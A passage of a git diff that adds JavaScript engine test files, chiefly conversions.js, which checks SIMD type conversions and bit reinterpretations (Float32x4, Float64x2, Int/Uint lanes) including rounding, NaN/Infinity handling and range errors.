+ TestInt8x16Ctor();
+ TestInt16x8Ctor();
+ TestInt32x4Ctor();
+ TestUint8x16Ctor();
+ TestUint16x8Ctor();
+ TestUint32x4Ctor();
+ TestBool8x16Ctor();
+ TestBool16x8Ctor();
+ TestBool32x4Ctor();
+ TestBool64x2Ctor();
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
+
diff --git a/js/src/tests/ecma_7/SIMD/conversions.js b/js/src/tests/ecma_7/SIMD/conversions.js
new file mode 100644
index 000000000..05b2487ac
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/conversions.js
@@ -0,0 +1,1261 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+
+function testFloat32x4FromFloat64x2Bits() {
+ var valsExp = [
+ [[2.000000473111868, 512.0001225471497], [1.0, 2.0, 3.0, 4.0]],
+ [[-0, NaN], [0, -0, 0, NaN]],
+ [[Infinity, -Infinity], [0, NaN, 0, NaN]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Float32x4.fromFloat64x2Bits(Float64x2(...v)), w);
+ }
+}
+
+function testFloat32x4FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var f32 = new Float32Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [f32[0], f32[1], f32[2], f32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX,
+ INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN]];
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX4(Float32x4.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Float32x4.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testFloat32x4FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var f32 = new Float32Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [f32[0], f32[1], f32[2], f32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX,
+ UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0]];
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX4(Float32x4.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Float32x4.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testFloat32x4FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var f32 = new Float32Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [f32[0], f32[1], f32[2], f32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX]];
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX4(Float32x4.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Float32x4.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testFloat32x4FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var f32 = new Float32Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [f32[0], f32[1], f32[2], f32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX4(Float32x4.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Float32x4.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testFloat32x4FromInt32x4() {
+ function expected(v) {
+ return v.map(Math.fround);
+ }
+ var vals = [
+ [1, 2, 3, 4],
+ [INT32_MIN, INT32_MAX, Math.pow(2, 30) - 1, -Math.pow(2, 30)]
+ ];
+
+ for (var v of vals) {
+ assertEqX4(Float32x4.fromInt32x4(Int32x4(...v)), expected(v));
+ }
+
+ // Check that rounding to nearest, even is applied.
+ {
+ var num = makeFloat(0, 150 + 2, 0);
+ var next = makeFloat(0, 150 + 2, 1);
+ assertEq(num + 4, next);
+
+ v = Float32x4.fromInt32x4(Int32x4(num, num + 1, num + 2, num + 3));
+ assertEqX4(v, [num, num, /* even */ num, next]);
+ }
+
+ {
+ var num = makeFloat(0, 150 + 2, 1);
+ var next = makeFloat(0, 150 + 2, 2);
+ assertEq(num + 4, next);
+
+ v = Float32x4.fromInt32x4(Int32x4(num, num + 1, num + 2, num + 3));
+ assertEqX4(v, [num, num, /* even */ next, next]);
+ }
+
+ {
+ var last = makeFloat(0, 157, 0x7fffff);
+
+ assertEq(last, Math.fround(last), "float");
+ assertEq(last < Math.pow(2, 31), true, "less than 2**31");
+ assertEq(last | 0, last, "it should be an integer, as exponent >= 150");
+
+ var diff = (Math.pow(2, 31) - 1) - last;
+ v = Float32x4.fromInt32x4(Int32x4(Math.pow(2, 31) - 1,
+ Math.pow(2, 30) + 1,
+ last + (diff / 2) | 0, // nearest is last
+ last + (diff / 2) + 1 | 0 // nearest is Math.pow(2, 31)
+ ));
+ assertEqX4(v, [Math.pow(2, 31),
+ Math.pow(2, 30),
+ last,
+ Math.pow(2, 31)
+ ]);
+ }
+}
+
+function testFloat32x4FromUint32x4() {
+ function expected(v) {
+ return v.map(Math.fround);
+ }
+ var vals = [
+ [1, 2, 3, 4],
+ [0, UINT32_MAX, Math.pow(2, 30) - 1, Math.pow(2, 31)]
+ ];
+
+ for (var v of vals) {
+ assertEqX4(Float32x4.fromUint32x4(Uint32x4(...v)), expected(v));
+ }
+
+ // Check that rounding to nearest, even is applied.
+ {
+ var num = makeFloat(0, 150 + 2, 0);
+ var next = makeFloat(0, 150 + 2, 1);
+ assertEq(num + 4, next);
+
+ v = Float32x4.fromUint32x4(Uint32x4(num, num + 1, num + 2, num + 3));
+ assertEqX4(v, [num, num, /* even */ num, next]);
+ }
+
+ {
+ var num = makeFloat(0, 150 + 2, 1);
+ var next = makeFloat(0, 150 + 2, 2);
+ assertEq(num + 4, next);
+
+ v = Float32x4.fromUint32x4(Uint32x4(num, num + 1, num + 2, num + 3));
+ assertEqX4(v, [num, num, /* even */ next, next]);
+ }
+
+ {
+ var last = makeFloat(0, 157, 0x7fffff);
+
+ assertEq(last, Math.fround(last), "float");
+ assertEq(last < Math.pow(2, 31), true, "less than 2**31");
+ assertEq(last | 0, last, "it should be an integer, as exponent >= 150");
+
+ var diff = (Math.pow(2, 31) - 1) - last;
+ v = Float32x4.fromUint32x4(Uint32x4(Math.pow(2, 31) - 1,
+ Math.pow(2, 30) + 1,
+ last + (diff / 2) | 0, // nearest is last
+ last + (diff / 2) + 1 | 0 // nearest is Math.pow(2, 31)
+ ));
+ assertEqX4(v, [Math.pow(2, 31),
+ Math.pow(2, 30),
+ last,
+ Math.pow(2, 31)
+ ]);
+ }
+}
+
+function testFloat32x4FromInt32x4Bits() {
+ var valsExp = [
+ [[100, 200, 300, 400], [1.401298464324817e-43, 2.802596928649634e-43, 4.203895392974451e-43, 5.605193857299268e-43]],
+ [[INT32_MIN, INT32_MAX, 0, 0], [-0, NaN, 0, 0]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Float32x4.fromInt32x4Bits(Int32x4(...v)), w);
+ }
+}
+
+function testFloat32x4FromUint32x4Bits() {
+ var valsExp = [
+ [[100, 200, 300, 400], [1.401298464324817e-43, 2.802596928649634e-43, 4.203895392974451e-43, 5.605193857299268e-43]],
+ [[INT32_MIN, INT32_MAX, 0, 0], [-0, NaN, 0, 0]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Float32x4.fromUint32x4Bits(Uint32x4(...v)), w);
+ }
+}
+
+function testFloat64x2FromFloat32x4Bits() {
+ var valsExp = [
+ [[0, 1.875, 0, 2], [1.0, 2.0]],
+ [[NaN, -0, Infinity, -Infinity], [-1.058925634e-314, -1.404448428688076e+306]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX2(Float64x2.fromFloat32x4Bits(Float32x4(...v)), w);
+ }
+}
+
+function testFloat64x2FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var f64 = new Float64Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [f64[0], f64[1]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX,
+ INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN]];
+
+ for (var v of vals) {
+ var f = Int8x16(...v);
+ assertEqX2(Float64x2.fromInt8x16Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX2(Float64x2.fromInt8x16Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testFloat64x2FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var f64 = new Float64Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [f64[0], f64[1]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX,
+ UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0]];
+
+ for (var v of vals) {
+ var f = Uint8x16(...v);
+ assertEqX2(Float64x2.fromUint8x16Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX2(Float64x2.fromUint8x16Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testFloat64x2FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var f64 = new Float64Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [f64[0], f64[1]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX]];
+
+ for (var v of vals) {
+ var f = Int16x8(...v);
+ assertEqX2(Float64x2.fromInt16x8Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX2(Float64x2.fromInt16x8Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testFloat64x2FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var f64 = new Float64Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [f64[0], f64[1]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+
+ for (var v of vals) {
+ var f = Uint16x8(...v);
+ assertEqX2(Float64x2.fromUint16x8Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX2(Float64x2.fromUint16x8Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testFloat64x2FromInt32x4Bits() {
+ var valsExp = [
+ [[0x00000000, 0x3ff00000, 0x0000000, 0x40000000], [1.0, 2.0]],
+ [[0xabcdef12, 0x3ff00000, 0x21fedcba, 0x40000000], [1.0000006400213732, 2.0000002532866263]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX2(Float64x2.fromInt32x4Bits(Int32x4(...v)), w);
+ }
+}
+
+function testFloat64x2FromUint32x4Bits() {
+ var valsExp = [
+ [[0x00000000, 0x3ff00000, 0x0000000, 0x40000000], [1.0, 2.0]],
+ [[0xabcdef12, 0x3ff00000, 0x21fedcba, 0x40000000], [1.0000006400213732, 2.0000002532866263]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX2(Float64x2.fromUint32x4Bits(Uint32x4(...v)), w);
+ }
+}
+
+function testInt32x4FromFloat32x4() {
+ var d = Float32x4(1.1, 2.2, 3.3, 4.6);
+ assertEqX4(Int32x4.fromFloat32x4(d), [1, 2, 3, 4]);
+
+ var d = Float32x4(NaN, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.fromFloat32x4(d), RangeError);
+
+ var d = Float32x4(Infinity, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.fromFloat32x4(d), RangeError);
+
+ var d = Float32x4(-Infinity, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.fromFloat32x4(d), RangeError);
+
+ // Test high boundaries: float(0, 157, 0x7fffff) < INT32_MAX < float(0, 158, 0)
+ var d = Float32x4(makeFloat(0, 127 + 31, 0), 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.fromFloat32x4(d), RangeError);
+
+ var lastFloat = makeFloat(0, 127 + 30, 0x7FFFFF);
+ var d = Float32x4(lastFloat, 0, 0, 0);
+ var e = SIMD.Int32x4.fromFloat32x4(d);
+ assertEqX4(e, [lastFloat, 0, 0, 0]);
+
+ // Test low boundaries
+ assertEq(makeFloat(1, 127 + 31, 0), INT32_MIN);
+ var d = Float32x4(makeFloat(1, 127 + 31, 0), 0, 0, 0);
+ var e = SIMD.Int32x4.fromFloat32x4(d);
+ assertEqX4(e, [INT32_MIN, 0, 0, 0]);
+
+ var d = Float32x4(makeFloat(1, 127 + 31, 1), 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.fromFloat32x4(d), RangeError);
+}
+
+function testUint32x4FromFloat32x4() {
+ var d = Float32x4(1.1, 2.2, -0.9, 4.6);
+ assertEqX4(Uint32x4.fromFloat32x4(d), [1, 2, 0, 4]);
+
+ var d = Float32x4(NaN, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.fromFloat32x4(d), RangeError);
+
+ var d = Float32x4(Infinity, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.fromFloat32x4(d), RangeError);
+
+ var d = Float32x4(-Infinity, 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.fromFloat32x4(d), RangeError);
+
+ // Test high boundaries: float(0, 158, 0x7fffff) < UINT32_MAX < float(0, 159, 0)
+ var d = Float32x4(makeFloat(0, 127 + 32, 0), 0, 0, 0);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.fromFloat32x4(d), RangeError);
+
+ var lastFloat = makeFloat(0, 127 + 31, 0x7FFFFF);
+ var d = Float32x4(lastFloat, 0, 0, 0);
+ var e = SIMD.Uint32x4.fromFloat32x4(d);
+ assertEqX4(e, [lastFloat, 0, 0, 0]);
+}
+
+function testInt32x4FromFloat32x4Bits() {
+ var valsExp = [
+ [[1, 2, 3, 4], [0x3f800000 | 0, 0x40000000 | 0, 0x40400000 | 0, 0x40800000 | 0]],
+ [[NaN, -0, Infinity, -Infinity], [0x7fc00000 | 0, 0x80000000 | 0, 0x7f800000 | 0, 0xff800000 | 0]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Int32x4.fromFloat32x4Bits(Float32x4(...v)), w);
+ }
+}
+
+function testUint32x4FromFloat32x4Bits() {
+ var valsExp = [
+ [[1, 2, 3, 4], [0x3f800000, 0x40000000, 0x40400000, 0x40800000]],
+ [[NaN, -0, Infinity, -Infinity], [0x7fc00000, 0x80000000, 0x7f800000, 0xff800000]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Uint32x4.fromFloat32x4Bits(Float32x4(...v)), w);
+ }
+}
+
+function testInt32x4FromFloat64x2Bits() {
+ var valsExp = [
+ [[1.0, 2.0], [0x00000000, 0x3FF00000, 0x00000000, 0x40000000]],
+ [[+Infinity, -Infinity], [0x00000000, 0x7ff00000, 0x00000000, -0x100000]],
+ [[-0, NaN], [0x00000000, -0x80000000, 0x00000000, 0x7ff80000]],
+ [[1.0000006400213732, 2.0000002532866263], [-0x543210ee, 0x3ff00000, 0x21fedcba, 0x40000000]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Int32x4.fromFloat64x2Bits(Float64x2(...v)), w);
+ }
+}
+
+function testUint32x4FromFloat64x2Bits() {
+ var valsExp = [
+ [[1.0, 2.0], [0x00000000, 0x3FF00000, 0x00000000, 0x40000000]],
+ [[+Infinity, -Infinity], [0x00000000, 0x7ff00000, 0x00000000, 0xfff00000]],
+ [[-0, NaN], [0x00000000, 0x80000000, 0x00000000, 0x7ff80000]],
+ [[1.0000006400213732, 2.0000002532866263], [0xabcdef12, 0x3ff00000, 0x21fedcba, 0x40000000]]
+ ];
+
+ for (var [v,w] of valsExp) {
+ assertEqX4(Uint32x4.fromFloat64x2Bits(Float64x2(...v)), w);
+ }
+}
+
+function testInt32x4FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var i32 = new Int32Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [i32[0], i32[1], i32[2], i32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX,
+ INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN]];
+
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX4(Int32x4.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Int32x4.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt32x4FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var i32 = new Int32Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [i32[0], i32[1], i32[2], i32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX,
+ UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0]];
+
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX4(Int32x4.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Int32x4.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt32x4FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var i32 = new Int32Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [i32[0], i32[1], i32[2], i32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX]];
+
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX4(Int32x4.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Int32x4.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt32x4FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var i32 = new Int32Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [i32[0], i32[1], i32[2], i32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX4(Int32x4.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Int32x4.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt32x4FromUint32x4Bits() {
+ function expected(v, Buffer) {
+ var u32 = new Uint32Array(new Buffer(16));
+ var i32 = new Int32Array(u32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u32[i] = asArr[i];
+ return [i32[0], i32[1], i32[2], i32[3]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, UINT32_MAX, INT32_MIN, INT32_MAX]];
+
+ for (var v of vals) {
+ var i = Uint32x4(...v);
+ assertEqX4(Int32x4.fromUint32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Int32x4.fromUint32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromFloat32x4Bits() {
+ function expected(v, Buffer) {
+ var f32 = new Float32Array(new Buffer(16));
+ var i8 = new Int8Array(f32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) f32[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[1, -2, 3, -4], [Infinity, -Infinity, NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float32x4(...v);
+ assertEqX16(Int8x16.fromFloat32x4Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromFloat32x4Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromFloat64x2Bits() {
+ function expected(v, Buffer) {
+ var f64 = new Float64Array(new Buffer(16));
+ var i8 = new Int8Array(f64.buffer);
+ f64[0] = Float64x2.extractLane(v, 0);
+ f64[1] = Float64x2.extractLane(v, 1);
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+ var vals = [[1, -2], [-3, 4], [Infinity, -Infinity], [NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float64x2(...v);
+ assertEqX16(Int8x16.fromFloat64x2Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromFloat64x2Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var i8 = new Int8Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, 5, INT8_MIN, UINT8_MAX, -6, 7, -8, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX16(Int8x16.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var i8 = new Int8Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3, INT8_MIN, INT8_MAX, INT16_MIN, INT16_MAX]];
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX16(Int8x16.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var i8 = new Int8Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[0, 1, -2, UINT16_MAX, INT8_MIN, INT8_MAX, INT16_MIN, INT16_MAX]];
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX16(Int8x16.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromInt32x4Bits() {
+ function expected(v, Buffer) {
+ var i32 = new Int32Array(new Buffer(16));
+ var i8 = new Int8Array(i32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) i32[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, INT8_MAX, INT32_MIN, INT32_MAX]];
+ for (var v of vals) {
+ var i = Int32x4(...v);
+ assertEqX16(Int8x16.fromInt32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromInt32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt8x16FromUint32x4Bits() {
+ function expected(v, Buffer) {
+ var u32 = new Uint32Array(new Buffer(16));
+ var i8 = new Int8Array(u32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) u32[i] = asArr[i];
+ return [i8[0], i8[1], i8[2], i8[3], i8[4], i8[5], i8[6], i8[7],
+ i8[8], i8[9], i8[10], i8[11], i8[12], i8[13], i8[14], i8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, INT8_MAX, INT32_MIN, INT32_MAX]];
+ for (var v of vals) {
+ var i = Uint32x4(...v);
+ assertEqX16(Int8x16.fromUint32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Int8x16.fromUint32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromFloat32x4Bits() {
+ function expected(v, Buffer) {
+ var f32 = new Float32Array(new Buffer(16));
+ var i16 = new Int16Array(f32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) f32[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[1, -2, 3, -4], [Infinity, -Infinity, NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float32x4(...v);
+ assertEqX8(Int16x8.fromFloat32x4Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromFloat32x4Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromFloat64x2Bits() {
+ function expected(v, Buffer) {
+ var f64 = new Float64Array(new Buffer(16));
+ var i16 = new Int16Array(f64.buffer);
+ f64[0] = Float64x2.extractLane(v, 0);
+ f64[1] = Float64x2.extractLane(v, 1);
